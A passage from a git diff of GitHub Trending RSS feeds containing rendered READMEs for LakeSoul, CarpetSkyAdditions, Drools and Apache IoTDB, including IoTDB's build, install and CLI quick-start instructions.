Flink Stream/Batch Source</li> </ul> </li> <li><input type="checkbox" checked disabled> Multi Workspaces and RBAC</li> </ul> </li> <li>Spark Integration <ul> <li><input type="checkbox" checked disabled> Table/Dataframe API</li> <li><input type="checkbox" checked disabled> SQL support with catalog except upsert</li> <li><input type="checkbox" checked disabled> Query optimization <ul> <li><input type="checkbox" checked disabled> Shuffle/Join elimination for operations on primary key</li> </ul> </li> <li><input type="checkbox" checked disabled> Merge UDF (Merge operator)</li> <li><input type="checkbox" disabled> Merge Into SQL support <ul> <li><input type="checkbox" checked disabled> Merge Into SQL with match on Primary Key (Merge on read)</li> <li><input type="checkbox" disabled> Merge Into SQL with match on non-pk</li> <li><input type="checkbox" disabled> Merge Into SQL with match condition and complex expression (Merge on read when match on PK) (depends on <a href="https://github.com/lakesoul-io/LakeSoul/issues/66">#66</a>)</li> </ul> </li> </ul> </li> <li>Flink Integration and CDC Ingestion (<a href="https://github.com/lakesoul-io/LakeSoul/issues/57">#57</a>) <ul> <li><input type="checkbox" checked disabled> Table API <ul> <li><input type="checkbox" checked disabled> Batch/Stream Sink</li> <li><input type="checkbox" checked disabled> Batch/Stream source</li> <li><input type="checkbox" checked disabled> Stream Source/Sink for ChangeLog Stream Semantics</li> <li><input type="checkbox" checked disabled> Exactly Once Source and Sink</li> </ul> </li> <li><input type="checkbox" checked disabled> Flink CDC <ul> <li><input type="checkbox" checked disabled> Auto Schema Change (DDL) Sync</li> <li><input type="checkbox" checked disabled> Auto Table Creation (depends on #78)</li> <li><input type="checkbox" checked disabled> Support sink multiple source tables with different schemas (<a href="https://github.com/lakesoul-io/LakeSoul/issues/84">#84</a>)</li> </ul> </li> </ul> </li> <li>Hive Integration <ul> <li><input type="checkbox" checked disabled> Export to Hive partition after compaction</li> <li><input type="checkbox" checked disabled> Apache Kyuubi (Hive JDBC) Integration</li> </ul> </li> <li>Realtime Data Warehousing <ul> <li><input type="checkbox" checked disabled> CDC ingestion</li> <li><input type="checkbox" checked disabled> Time Travel (Snapshot read)</li> <li><input type="checkbox" checked disabled> Snapshot rollback</li> <li><input type="checkbox" checked disabled> Automatic global compaction service</li> <li><input type="checkbox" disabled> MPP Engine Integration (depends on <a href="https://github.com/lakesoul-io/LakeSoul/issues/66">#66</a>) <ul> <li><input type="checkbox" checked disabled> Presto</li> <li><input type="checkbox" disabled> Trino</li> </ul> </li> </ul> </li> <li>Cloud and Native IO (<a href="https://github.com/lakesoul-io/LakeSoul/issues/66">#66</a>) <ul> <li><input type="checkbox" checked disabled> Object storage IO optimization</li> <li><input type="checkbox" checked disabled> Native merge on read</li> <li><input type="checkbox" disabled> Multi-layer storage classes support with data tiering</li> </ul> </li> </ul> <h1>Community guidelines</h1> <p><a href="https://raw.githubusercontent.com/lakesoul-io/LakeSoul/main/community-guideline.md">Community guidelines</a></p> <h1>Feedback and Contribution</h1> <p>Please feel free to open an issue or dicussion if you have any questions.</p> <p>Join our <a href="https://discord.gg/WJrHKq4BPf">Discord</a> server for discussions.</p> <h1>Contact Us</h1> <p>Email us at <a href="mailto:lakesoul-technical-discuss@lists.lfaidata.foundation">lakesoul-technical-discuss@lists.lfaidata.foundation</a>.</p> <h1>Opensource License</h1> <p>LakeSoul is opensourced under Apache License v2.0.</p> + + + jsorrell/CarpetSkyAdditions + 2023-09-25T01:32:10Z + tag:github.com,2023-09-25:/jsorrell/CarpetSkyAdditions + + <p>Empty world generation with new ways to obtain resources</p><hr><h1>Carpet Sky Additions</h1> <p><a href="https://github.com/jsorrell/CarpetSkyAdditions/releases"><img src="https://img.shields.io/github/downloads/jsorrell/CarpetSkyAdditions/total?label=Github%20downloads&amp;logo=github" alt="GitHub downloads"></a> <a href="https://www.curseforge.com/minecraft/mc-mods/carpet-sky-additions"><img src="http://cf.way2muchnoise.eu/full_633402_downloads.svg?sanitize=true" alt="CurseForge downloads"></a> <a href="https://modrinth.com/mod/carpet-sky-additions"><img src="https://img.shields.io/modrinth/dt/3oX3JnAP?label=Modrinth%20Downloads" alt="Modrinth downloads"></a></p> <p><a href="https://raw.githubusercontent.com/jsorrell/CarpetSkyAdditions/main/README.md"><img src="https://img.shields.io/badge/lang-en-red.svg?sanitize=true" alt="en"></a> <a href="https://raw.githubusercontent.com/jsorrell/CarpetSkyAdditions/main/docs/zh_cn/README.md"><img src="https://img.shields.io/badge/lang-zh--cn-yellow.svg?sanitize=true" alt="zh_cn"></a></p> <p>Carpet Sky Additions is a module for <a href="https://github.com/gnembon/fabric-carpet">fabric-carpet</a> originally based on <a href="https://github.com/skyrising/skyblock">skyrising/skyblock</a>.</p> <p>This mod aims to provide an expert-level SkyBlock style gameplay that depends on players' knowledge of Minecraft mechanics. In some cases, outside tools such as <a href="https://www.chunkbase.com/">Chunkbase</a> or <a href="https://www.curseforge.com/minecraft/mc-mods/minihud">MiniHUD</a> will be helpful. Usage of these is encouraged. Sometimes extended grinding or AFKing will be required for progression. Unless SkyBlock world generation is chosen or features are specifically enabled, the mod will do nothing. This means SkyBlock and Non-SkyBlock worlds can be switched between easily without restarting the client.</p> <h2>Installation</h2> <p><a href="https://www.curseforge.com/minecraft/modpacks/vanilla-sky"><img src="http://cf.way2muchnoise.eu/title/624853.svg?sanitize=true" alt="Vanilla Sky: Everything from Nothing"></a></p> <p>The easiest way to use this mod is to install the modpack called <em><strong>Vanilla Sky: Everything from Nothing</strong></em> which is available on CurseForge.</p> <p>To create a new SkyBlock world, choose <code>World Type: SkyBlock</code> and enable the datapack <code>"carpetskyadditions/skyblock"</code>.</p> <p>If you want a harder challenge, <em><strong>also</strong></em> enable the datapack <code>"carpetskyadditions/skyblock_acacia"</code> to start with an Acacia tree instead of an Oak tree.</p> <p>For custom or server installations, follow the <a href="https://raw.githubusercontent.com/jsorrell/CarpetSkyAdditions/main/docs/en_us/installation.md">Detailed Installation Instructions</a></p> <h2>Features</h2> <h3>SkyBlock Generation</h3> <p>A SkyBlock world generates exactly like a Default generation world, but with every block removed. Biomes and Structure Bounding Boxes are kept in place. This means Husks will still spawn in Deserts and Blazes will spawn in Nether Fortresses, for example. Even with almost every block removed, you have access to most things in the game.</p> <p><a href="https://raw.githubusercontent.com/jsorrell/CarpetSkyAdditions/main/docs/en_us/generation.md">More Generation Details</a></p> <h3>Gameplay Changes</h3> <p>SkyBlock generation does, however, leave a few unobtainable resources. In addition to adding SkyBlock generation, this mod also fills in the gaps, making as minimal and Minecrafty changes as possible.</p> <p>The biggest progress-blocker is Lava, which is unobtainable by default. This prevents going to the Nether or End or getting Cobblestone. This mod fixes that problem by providing a way to get Lava.</p> <p>Sand is also very limited in a default SkyBlock world, but the mod allows for more to be created.</p> <p>Most other resources provided by this mod are cosmetic and don't make major changes to progression, such as Dead Bushes and Ender Dragon Heads.</p> <p>When possible, changes were added to a datapack instead of being programmed into the mod for ease of user customization. The datapack is built into the mod.</p> <p>SkyBlock advancements were also added to guide progression and document the mod's changes to vanilla.</p> <p><em>When installed with default settings, all blocks, items, mobs, and advancements obtainable in Default generation are obtainable in SkyBlock generation.</em></p> <p><a href="https://raw.githubusercontent.com/jsorrell/CarpetSkyAdditions/main/docs/en_us/features.md">List of Mod Features</a></p> <p><a href="https://raw.githubusercontent.com/jsorrell/CarpetSkyAdditions/main/docs/en_us/datapack.md">List of Datapack Features</a></p> <h3>Commands</h3> <p>This mod provides a command for generating islands, which simplifies having multiple players on the same server with different starting islands.</p> <p><a href="https://raw.githubusercontent.com/jsorrell/CarpetSkyAdditions/main/docs/en_us/commands.md">List of Mod Commands</a></p> <h3>Progression Walkthrough</h3> <p>If you get stuck, a general progression walkthrough is available <a href="https://raw.githubusercontent.com/jsorrell/CarpetSkyAdditions/main/docs/en_us/progression.md">here</a>.</p> <h2>Translations</h2> <p>The mod and the datapack are available for translation using <a href="https://crowdin.com/project/carpetskyadditions">CrowdIn</a>. If you are able to add translations, your help would be much appreciated.</p> <h2>Acknowledgements</h2> <ul> <li> <p><a href="https://github.com/skyrising/skyblock">@skyrising</a> for the initial mod idea</p> </li> <li> <p><a href="https://github.com/DeadlyMC/Skyblock-datapack">@DeadlyMC</a> for the initial ideas for the datapack</p> </li> <li> <p><a href="https://github.com/gnembon/fabric-carpet">@gnembon</a> for <code>fabric-carpet</code></p> </li> <li> <p>All the translators on CrowdIn</p> </li> </ul> <h2>License</h2> <p>This project is licensed under the terms of the MIT license.</p> \ No newline at end of file diff --git a/java/weekly/index.xml b/java/weekly/index.xml deleted file mode 100644 index 39484c09e15..00000000000 --- a/java/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Java Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-24T01:53:09Z - Weekly Trending of Java in GitHub - - - apache/incubator-kie-drools - 2023-09-24T01:53:09Z - tag:github.com,2023-09-24:/apache/incubator-kie-drools - - <p>Drools is a rule engine, DMN engine and complex event processing (CEP) engine for Java.</p><hr><p>An open source rule engine, <a href="https://drools.org/learn/dmn.html">DMN engine</a> and complex event processing (CEP) engine for Java™ and the JVM Platform.</p> <p>Drools is a business rule management system with a forward-chaining and backward-chaining inference based rules engine, allowing fast and reliable evaluation of business rules and complex event processing. A rule engine is also a fundamental building block to create an expert system which, in artificial intelligence, is a computer system that emulates the decision-making ability of a human expert.</p> <p>Be sure to check out the Drools' project <a href="https://drools.org">website</a> and <a href="https://drools.org/learn/documentation.html">documentation</a>!</p> <h1>Developing Drools and jBPM</h1> <p><strong>If you want to build or contribute to a kiegroup project, <a href="https://github.com/kiegroup/droolsjbpm-build-bootstrap/raw/main/README.md">read this document</a>.</strong></p> <p><strong>It will save you and us a lot of time by setting up your development environment correctly.</strong> It solves all known pitfalls that can disrupt your development. It also describes all guidelines, tips and tricks. If you want your pull requests (or patches) to be merged, please respect those guidelines.</p> <h1>Test execution tip</h1> <p>Some test are meant to be executed on machine with <em>en_US</em> locale. A specific profile is provided to execute them on machines with different locale, namely <code>test-en</code>. There are two ways to activate such profile during maven build:</p> <ol> <li><code>-Ptest-en</code> (profile-id based)</li> <li><code>-DTestEn</code> (property based)</li> </ol> <p>The following two commands will execute tests on machine with locale different than <em>en_US</em>:</p> <ol> <li><code>make test -Ptest-en</code></li> <li><code>make test -DTestEn</code></li> </ol> - - - apache/iotdb - 2023-09-24T01:53:09Z - tag:github.com,2023-09-24:/apache/iotdb - - <p>Apache IoTDB</p><hr><p><a href="https://raw.githubusercontent.com/apache/iotdb/master/README.md">English</a> | <a href="https://raw.githubusercontent.com/apache/iotdb/master/README_ZH.md">中文</a></p> <h1>IoTDB</h1> <p><a href="https://github.com/apache/iotdb/actions/workflows/unit-test.yml"><img src="https://github.com/apache/iotdb/actions/workflows/unit-test.yml/badge.svg?sanitize=true" alt="Unit-Test"></a> <a href="https://codecov.io/github/apache/iotdb"><img src="https://codecov.io/github/apache/iotdb/graph/badge.svg?token=ejF3UGk0Nv" alt="codecov"></a> <a href="https://github.com/apache/iotdb/releases"><img src="https://img.shields.io/github/release/apache/iotdb.svg?sanitize=true" alt="GitHub release"></a> <a href="https://www.apache.org/licenses/LICENSE-2.0.html"><img src="https://img.shields.io/badge/license-Apache%202-4EB1BA.svg?sanitize=true" alt="License"></a> <img src="https://github-size-badge.herokuapp.com/apache/iotdb.svg?sanitize=true" alt=""> <img src="https://img.shields.io/github/downloads/apache/iotdb/total.svg?sanitize=true" alt=""> <img src="https://img.shields.io/badge/platform-win%20%7C%20macos%20%7C%20linux-yellow.svg?sanitize=true" alt=""> <img src="https://img.shields.io/badge/java--language-1.8%20%7C%2011%20%7C%2017-blue.svg?sanitize=true" alt=""> <a href="https://iotdb.apache.org/"><img src="https://img.shields.io/website-up-down-green-red/https/shields.io.svg?label=iotdb-website" alt="IoTDB Website"></a> <a href="http://search.maven.org/#search%7Cgav%7C1%7Cg:%22org.apache.iotdb%22"><img src="https://maven-badges.herokuapp.com/maven-central/org.apache.iotdb/iotdb-parent/badge.svg?sanitize=true" alt="Maven Version"></a> <a href="https://gitpod.io/#https://github.com/apache/iotdb"><img src="https://img.shields.io/badge/Gitpod-Ready--to--Code-blue?logo=gitpod" alt="Gitpod Ready-to-Code"></a> <a href="https://join.slack.com/t/apacheiotdb/shared_invite/zt-qvso1nj8-7715TpySZtZqmyG5qXQwpg"><img src="https://img.shields.io/badge/slack-join_chat-white.svg?logo=slack&amp;style=social" alt="Slack Status"></a></p> <h1>Overview</h1> <p>IoTDB (Internet of Things Database) is a data management system for time series data, which provides users with specific services including data collection, storage and analysis. Due to its light weight structure, high performance and usable features, together with its seamless integration with the Hadoop and Spark ecology, IoTDB meets the requirements of massive dataset storage, high throughput data input, and complex data analysis in the industrial IoT field.</p> <h1>Main Features</h1> <p>Main features of IoTDB are as follows:</p> <ol> <li>Flexible deployment strategy. IoTDB provides users a one-click installation tool on either the cloud platform or the terminal devices, and a data synchronization tool bridging the data on cloud platform and terminals.</li> <li>Low cost on hardware. IoTDB can reach a high compression ratio of disk storage.</li> <li>Efficient directory structure. IoTDB supports efficient organization for complex time series data structures from intelligent networking devices, organization for time series data from devices of the same type, and fuzzy searching strategy for massive and complex directory of time series data.</li> <li>High-throughput read and write. IoTDB supports millions of low-power devices' strong connection data access, high-speed data read and write for intelligent networking devices and mixed devices mentioned above.</li> <li>Rich query semantics. IoTDB supports time alignment for time series data across devices and measurements, computation in time series field (frequency domain transformation) and rich aggregation function support in time dimension.</li> <li>Easy to get started. IoTDB supports SQL-Like language, JDBC standard API and import/export tools which is easy to use.</li> <li>Seamless integration with state-of-the-practice Open Source Ecosystem. IoTDB supports analysis ecosystems such as, Hadoop, Spark, and visualization tool, such as, Grafana.</li> </ol> <p>For the latest information about IoTDB, please visit <a href="https://iotdb.apache.org/">IoTDB official website</a>. If you encounter any problems or identify any bugs while using IoTDB, please report an issue in <a href="https://issues.apache.org/jira/projects/IOTDB/issues">jira</a>.</p> <!-- TOC --> <h2>Outline</h2> <ul> <li><a href="https://raw.githubusercontent.com/apache/iotdb/master/#iotdb">IoTDB</a></li> <li><a href="https://raw.githubusercontent.com/apache/iotdb/master/#overview">Overview</a></li> <li><a href="https://raw.githubusercontent.com/apache/iotdb/master/#main-features">Main Features</a> <ul> <li><a href="https://raw.githubusercontent.com/apache/iotdb/master/#outline">Outline</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/apache/iotdb/master/#quick-start">Quick Start</a> <ul> <li><a href="https://raw.githubusercontent.com/apache/iotdb/master/#prerequisites">Prerequisites</a></li> <li><a href="https://raw.githubusercontent.com/apache/iotdb/master/#installation">Installation</a> <ul> <li><a href="https://raw.githubusercontent.com/apache/iotdb/master/#build-from-source">Build from source</a></li> <li><a href="https://raw.githubusercontent.com/apache/iotdb/master/#configurations">Configurations</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/apache/iotdb/master/#start">Start</a> <ul> <li><a href="https://raw.githubusercontent.com/apache/iotdb/master/#start-iotdb">Start IoTDB</a></li> <li><a href="https://raw.githubusercontent.com/apache/iotdb/master/#use-iotdb">Use IoTDB</a> <ul> <li><a href="https://raw.githubusercontent.com/apache/iotdb/master/#use-cli">Use Cli</a></li> <li><a href="https://raw.githubusercontent.com/apache/iotdb/master/#basic-commands-for-iotdb">Basic commands for IoTDB</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/apache/iotdb/master/#stop-iotdb">Stop IoTDB</a></li> </ul> </li> <li><a href="https://raw.githubusercontent.com/apache/iotdb/master/#only-build-server">Only build server</a></li> <li><a href="https://raw.githubusercontent.com/apache/iotdb/master/#only-build-cli">Only build cli</a></li> <li><a href="https://raw.githubusercontent.com/apache/iotdb/master/#usage-of-csv-import-and-export-tool">Usage of CSV Import and Export Tool</a></li> </ul> </li> </ul> <!-- /TOC --> <h1>Quick Start</h1> <p>This short guide will walk you through the basic process of using IoTDB. For a more detailed introduction, please visit our website's <a href="https://iotdb.apache.org/UserGuide/Master/QuickStart/QuickStart.html">User Guide</a>.</p> <h2>Prerequisites</h2> <p>To use IoTDB, you need to have:</p> <ol> <li>Java &gt;= 1.8 (1.8, 11 to 17 are verified. Please make sure the environment path has been set accordingly).</li> <li>Maven &gt;= 3.6 (If you want to compile and install IoTDB from source code).</li> <li>Set the max open files num as 65535 to avoid "too many open files" error.</li> <li>(Optional) Set the somaxconn as 65535 to avoid "connection reset" error when the system is under high load. <pre><code># Linux &gt; sudo sysctl -w net.core.somaxconn=65535 # FreeBSD or Darwin &gt; sudo sysctl -w kern.ipc.somaxconn=65535 </code></pre> </li> </ol> <h3>Linux</h3> <p>(This guide is based on an installation of Ubuntu 22.04)</p> <h4>Git</h4> <p>Make sure <code>Git</code> is installed, if it's missing, simply install it via:</p> <pre><code>sudo apt install git </code></pre> <h4>Java</h4> <p>Make sure <code>Java</code> is installed, if it's missing, simply install it via:</p> <pre><code>sudo apt install default-jdk </code></pre> <h4>Flex</h4> <pre><code>sudo apt install flex </code></pre> <h4>Bison</h4> <pre><code>sudo apt install bison </code></pre> <h4>Boost</h4> <pre><code>sudo apt install libboost-all-dev </code></pre> <h4>OpenSSL header files</h4> <p>Usually OpenSSL is already installed, however it's missing the header files we need to compile. So ensure these are installed:</p> <pre><code>sudo apt install libssl-dev </code></pre> <h3>Mac OS</h3> <h4>Git</h4> <p>First ensure <code>git</code> works.</p> <p>Usually on a new Mac, as soon as you simply type <code>git</code> in a <code>Terminal</code> window, a popup will come and ask if you want to finish installing the Mac developer tools. Just say yes. As soon as this is finished, you are free to use <code>git</code>.</p> <h4>Homebrew</h4> <p>Then install <code>Homebrew</code> - If this hasn't been installed yet, as we are going to be installing everything using <code>Homebrew</code>.</p> <pre><code>/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" </code></pre> <h4>Java</h4> <p>As soon as that's done install <code>Java</code>, if this hasn't been installed yet:</p> <pre><code>brew install java </code></pre> <p>Depending on your version of Homebrew, it will tell you to do one of the following (Depending on the type of processor in your device).</p> <p>Mainly on the Intel-based models:</p> <pre><code>sudo ln -sfn /usr/local/opt/openjdk/libexec/openjdk.jdk /Library/Java/JavaVirtualMachines/openjdk.jdk </code></pre> <p>Mainly on the ARM-based models:</p> <pre><code>sudo ln -sfn /opt/homebrew/opt/openjdk/libexec/openjdk.jdk /Library/Java/JavaVirtualMachines/openjdk.jdk </code></pre> <h4>CPP Prerequisites</h4> <p>Building <code>Thrift</code> requires us to add two more dependencies to the picture.</p> <p>This however is only needed when enabling the <code>compile-cpp</code> profile:</p> <pre><code>brew install boost brew install bison brew install openssl </code></pre> <h3>Windows</h3> <h4>Chocolatey</h4> <p>Then install <code>Chocolatey</code> - If this hasn't been installed yet, as we are going to be installing everything using <code>Chocolatey</code>.</p> <p><a href="https://chocolatey.org/install">https://chocolatey.org/install</a></p> <h4>Git</h4> <pre><code>choco install git.install </code></pre> <h4>Java</h4> <pre><code>choco install openjdk </code></pre> <h4>Visual Studio 19 2022</h4> <pre><code>choco install visualstudio2022community choco install visualstudio2022buildtools choco install visualstudio2022-workload-nativedesktop </code></pre> <h4>FLex / Bison</h4> <pre><code>choco install winflexbison </code></pre> <h4>Boost</h4> <pre><code>choco install boost-msvc-14.2 </code></pre> <h4>OpenSSL</h4> <pre><code>choco install openssl </code></pre> <h2>Installation</h2> <p>IoTDB provides three installation methods, you can refer to the following suggestions, choose the one fits you best:</p> <ul> <li>Installation from source code. If you need to modify the code yourself, you can use this method.</li> <li>Installation from binary files. Download the binary files from the official website. This is the recommended method, in which you will get a binary released package which is out-of-the-box.</li> <li>Using Docker:The path to the dockerfile is <a href="https://github.com/apache/iotdb/tree/master/docker/src/main">here</a></li> </ul> <p>Here in the Quick Start, we give a brief introduction of using source code to install IoTDB. For further information, please refer to <a href="https://iotdb.apache.org/UserGuide/Master/QuickStart/QuickStart.html">User Guide</a>.</p> <h2>Build from source</h2> <h3>Prepare Thrift compiler</h3> <p>Skip this chapter if you are using Windows.</p> <p>As we use Thrift for our RPC module (communication and protocol definition), we involve Thrift during the compilation, so Thrift compiler 0.13.0 (or higher) is required to generate Thrift Java code. Thrift officially provides binary compiler for Windows, but unfortunately, they do not provide that for Unix OSs.</p> <p>If you have permission to install new softwares, use <code>apt install</code> or <code>yum install</code> or <code>brew install</code> to install the Thrift compiler (If you already have installed the thrift compiler, skip this step). Then, you may add the following parameter when running Maven: <code>-Dthrift.download-url=http://apache.org/licenses/LICENSE-2.0.txt -Dthrift.exec.absolute.path=&lt;YOUR LOCAL THRIFT BINARY FILE&gt;</code>.</p> <p>If not, then you have to compile the thrift compiler, and it requires you install a boost library first. Therefore, we compiled a Unix compiler ourselves and put it onto GitHub, and with the help of a maven plugin, it will be downloaded automatically during compilation. This compiler works fine with gcc8 or later, Ubuntu MacOS, and CentOS, but previous versions and other OSs are not guaranteed.</p> <p>If you can not download the thrift compiler automatically because of network problem, you can download it yourself, and then either: rename your thrift file to <code>{project_root}\thrift\target\tools\thrift_0.12.0_0.13.0_linux.exe</code>; or, add Maven commands: <code>-Dthrift.download-url=http://apache.org/licenses/LICENSE-2.0.txt -Dthrift.exec.absolute.path=&lt;YOUR LOCAL THRIFT BINARY FILE&gt;</code>.</p> <h3>Compile IoTDB</h3> <p>You can download the source code from:</p> <pre><code>git clone https://github.com/apache/iotdb.git </code></pre> <p>The default dev branch is the master branch, If you want to use a released version x.x.x:</p> <pre><code>git checkout vx.x.x </code></pre> <p>Or checkout to the branch of a big version, e.g., the branch of 1.0 is rel/1.0</p> <pre><code>git checkout rel/x.x </code></pre> <h3>Build IoTDB from source</h3> <p>Under the root path of iotdb:</p> <pre><code>&gt; mvn clean package -pl distribution -am -DskipTests </code></pre> <p>After being built, the IoTDB distribution is located at the folder: "distribution/target".</p> <h3>Only build cli</h3> <p>Under the root path of iotdb:</p> <pre><code>&gt; mvn clean package -pl cli -am -DskipTests </code></pre> <p>After being built, the IoTDB cli is located at the folder "cli/target".</p> <h3>Build Others</h3> <p>Using <code>-P compile-cpp</code> for compiling cpp client (For more details, read client-cpp's Readme file.)</p> <p><strong>NOTE: Directories "<code>thrift/target/generated-sources/thrift</code>", "<code>thrift-sync/target/generated-sources/thrift</code>", "<code>thrift-cluster/target/generated-sources/thrift</code>", "<code>thrift-influxdb/target/generated-sources/thrift</code>" and "<code>antlr/target/generated-sources/antlr4</code>" need to be added to sources roots to avoid compilation errors in the IDE.</strong></p> <p><strong>In IDEA, you just need to right click on the root project name and choose "<code>Maven-&gt;Reload Project</code>" after you run <code>mvn package</code> successfully.</strong></p> <h3>Configurations</h3> <p>configuration files are under "conf" folder</p> <ul> <li>environment config module (<code>datanode-env.bat</code>, <code>datanode-env.sh</code>),</li> <li>system config module (<code>iotdb-datanode.properties</code>)</li> <li>log config module (<code>logback.xml</code>).</li> </ul> <p>For more information, please see <a href="https://iotdb.apache.org/UserGuide/Master/Reference/DataNode-Config-Manual.html">Config Manual</a>.</p> <h2>Start</h2> <p>You can go through the following steps to test the installation. If there is no error returned after execution, the installation is completed.</p> <h3>Start IoTDB</h3> <p>Users can start 1C1D IoTDB by the start-standalone script under the sbin folder.</p> <pre><code># Unix/OS X &gt; sbin/start-standalone.sh # Windows &gt; sbin\start-standalone.bat </code></pre> <h3>Use IoTDB</h3> <h4>Use Cli</h4> <p>IoTDB offers different ways to interact with server, here we introduce the basic steps of using Cli tool to insert and query data.</p> <p>After installing IoTDB, there is a default user 'root', its default password is also 'root'. Users can use this default user to login Cli to use IoTDB. The startup script of Cli is the start-cli script in the folder sbin. When executing the script, user should assign IP, PORT, USER_NAME and PASSWORD. The default parameters are "-h 127.0.0.1 -p 6667 -u root -pw -root".</p> <p>Here is the command for starting the Cli:</p> <pre><code># Unix/OS X &gt; sbin/start-cli.sh -h 127.0.0.1 -p 6667 -u root -pw root # Windows &gt; sbin\start-cli.bat -h 127.0.0.1 -p 6667 -u root -pw root </code></pre> <p>The command line cli is interactive, so you should see the welcome logo and statements if everything is ready:</p> <pre><code> _____ _________ ______ ______ |_ _| | _ _ ||_ _ `.|_ _ \ | | .--.|_/ | | \_| | | `. \ | |_) | | | / .'`\ \ | | | | | | | __'. _| |_| \__. | _| |_ _| |_.' /_| |__) | |_____|'.__.' |_____| |______.'|_______/ version x.x.x IoTDB&gt; login successfully IoTDB&gt; </code></pre> <h4>Basic commands for IoTDB</h4> <p>Now, let us introduce the way of creating timeseries, inserting data and querying data.</p> <p>The data in IoTDB is organized as timeseries. Each timeseries includes multiple data-time pairs, and is owned by a database. Before defining a timeseries, we should define a database using CREATE DATABASE first, and here is an example:</p> <pre><code>IoTDB&gt; CREATE DATABASE root.ln </code></pre> <p>We can also use SHOW DATABASES to check the database being created:</p> <pre><code>IoTDB&gt; SHOW DATABASES +-------------+ | Database| +-------------+ | root.ln| +-------------+ Total line number = 1 </code></pre> <p>After the database is set, we can use CREATE TIMESERIES to create a new timeseries. When creating a timeseries, we should define its data type and the encoding scheme. Here we create two timeseries:</p> <pre><code>IoTDB&gt; CREATE TIMESERIES root.ln.wf01.wt01.status WITH DATATYPE=BOOLEAN, ENCODING=PLAIN IoTDB&gt; CREATE TIMESERIES root.ln.wf01.wt01.temperature WITH DATATYPE=FLOAT, ENCODING=RLE </code></pre> <p>In order to query the specific timeseries, we can use SHOW TIMESERIES <path> . <path> represent the location of the timeseries. The default value is "null", which queries all the timeseries in the system(the same as using "SHOW TIMESERIES root"). Here are some examples: </path> </path></p> <ol> <li>Querying all timeseries in the system:</li> </ol> <pre><code>IoTDB&gt; SHOW TIMESERIES +-----------------------------+-----+-------------+--------+--------+-----------+----+----------+ | Timeseries|Alias|Database|DataType|Encoding|Compression|Tags|Attributes| +-----------------------------+-----+-------------+--------+--------+-----------+----+----------+ |root.ln.wf01.wt01.temperature| null| root.ln| FLOAT| RLE| SNAPPY|null| null| | root.ln.wf01.wt01.status| null| root.ln| BOOLEAN| PLAIN| SNAPPY|null| null| +-----------------------------+-----+-------------+--------+--------+-----------+----+----------+ Total line number = 2 </code></pre> <ol start="2"> <li>Querying a specific timeseries(root.ln.wf01.wt01.status):</li> </ol> <pre><code>IoTDB&gt; SHOW TIMESERIES root.ln.wf01.wt01.status +------------------------+-----+-------------+--------+--------+-----------+----+----------+ | timeseries|alias|database|dataType|encoding|compression|tags|attributes| +------------------------+-----+-------------+--------+--------+-----------+----+----------+ |root.ln.wf01.wt01.status| null| root.ln| BOOLEAN| PLAIN| SNAPPY|null| null| +------------------------+-----+-------------+--------+--------+-----------+----+----------+ Total line number = 1 </code></pre> <p>Insert timeseries data is a basic operation of IoTDB, you can use ‘INSERT’ command to finish this. Before insertion, you should assign the timestamp and the suffix path name:</p> <pre><code>IoTDB&gt; INSERT INTO root.ln.wf01.wt01(timestamp,status) values(100,true); IoTDB&gt; INSERT INTO root.ln.wf01.wt01(timestamp,status,temperature) values(200,false,20.71) </code></pre> <p>The data that you have just inserted will display as follows:</p> <pre><code>IoTDB&gt; SELECT status FROM root.ln.wf01.wt01 +------------------------+------------------------+ | Time|root.ln.wf01.wt01.status| +------------------------+------------------------+ |1970-01-01T00:00:00.100Z| true| |1970-01-01T00:00:00.200Z| false| +------------------------+------------------------+ Total line number = 2 </code></pre> <p>You can also query several timeseries data using one SQL statement:</p> <pre><code>IoTDB&gt; SELECT * FROM root.ln.wf01.wt01 +------------------------+-----------------------------+------------------------+ | Time|root.ln.wf01.wt01.temperature|root.ln.wf01.wt01.status| +------------------------+-----------------------------+------------------------+ |1970-01-01T00:00:00.100Z| null| true| |1970-01-01T00:00:00.200Z| 20.71| false| +------------------------+-----------------------------+------------------------+ Total line number = 2 </code></pre> <p>To change the time zone in Cli, you can use the following SQL:</p> <pre><code>IoTDB&gt; SET time_zone=+08:00 Time zone has set to +08:00 IoTDB&gt; SHOW time_zone Current time zone: Asia/Shanghai </code></pre> <p>Add then the query result will show using the new time zone.</p> <pre><code>IoTDB&gt; SELECT * FROM root.ln.wf01.wt01 +-----------------------------+-----------------------------+------------------------+ | Time|root.ln.wf01.wt01.temperature|root.ln.wf01.wt01.status| +-----------------------------+-----------------------------+------------------------+ |1970-01-01T08:00:00.100+08:00| null| true| |1970-01-01T08:00:00.200+08:00| 20.71| false| +-----------------------------+-----------------------------+------------------------+ Total line number = 2 </code></pre> <p>The commands to exit the Cli are:</p> <pre><code>IoTDB&gt; quit or IoTDB&gt; exit </code></pre> <p>For more information about the commands supported by IoTDB SQL, please see <a href="https://iotdb.apache.org/UserGuide/Master/QuickStart/QuickStart.html">User Guide</a>.</p> <h3>Stop IoTDB</h3> <p>The server can be stopped with "ctrl-C" or the following script:</p> <pre><code># Unix/OS X &gt; sbin/stop-standalone.sh # Windows &gt; sbin\stop-standalone.bat </code></pre> <h1>Usage of CSV Import and Export Tool</h1> <p>see <a href="https://iotdb.apache.org/UserGuide/Master/Maintenance-Tools/CSV-Tool.html">Usage of CSV Import and Export Tool</a></p> <h1>Frequent Questions for Compiling</h1> <p>see <a href="https://iotdb.apache.org/Development/ContributeGuide.html#_Frequent-Questions-when-Compiling-the-Source-Code">Frequent Questions when Compiling the Source Code</a></p> <h1>Contact Us</h1> <h3>QQ Group</h3> <ul> <li>Apache IoTDB User Group: 659990460</li> </ul> <h3>Wechat Group</h3> <ul> <li>Add friend: <code>tietouqiao</code> or <code>liutaohua001</code>, and then we'll invite you to the group.</li> </ul> <h3>Slack</h3> <ul> <li><a href="https://join.slack.com/t/apacheiotdb/shared_invite/zt-qvso1nj8-7715TpySZtZqmyG5qXQwpg">Slack channel</a></li> </ul> <p>see <a href="https://github.com/apache/iotdb/issues/1995">Join the community</a> for more!</p> - - - opensearch-project/OpenSearch - 2023-09-24T01:53:09Z - tag:github.com,2023-09-24:/opensearch-project/OpenSearch - - <p>🔎 Open source distributed and RESTful search engine.</p><hr><img 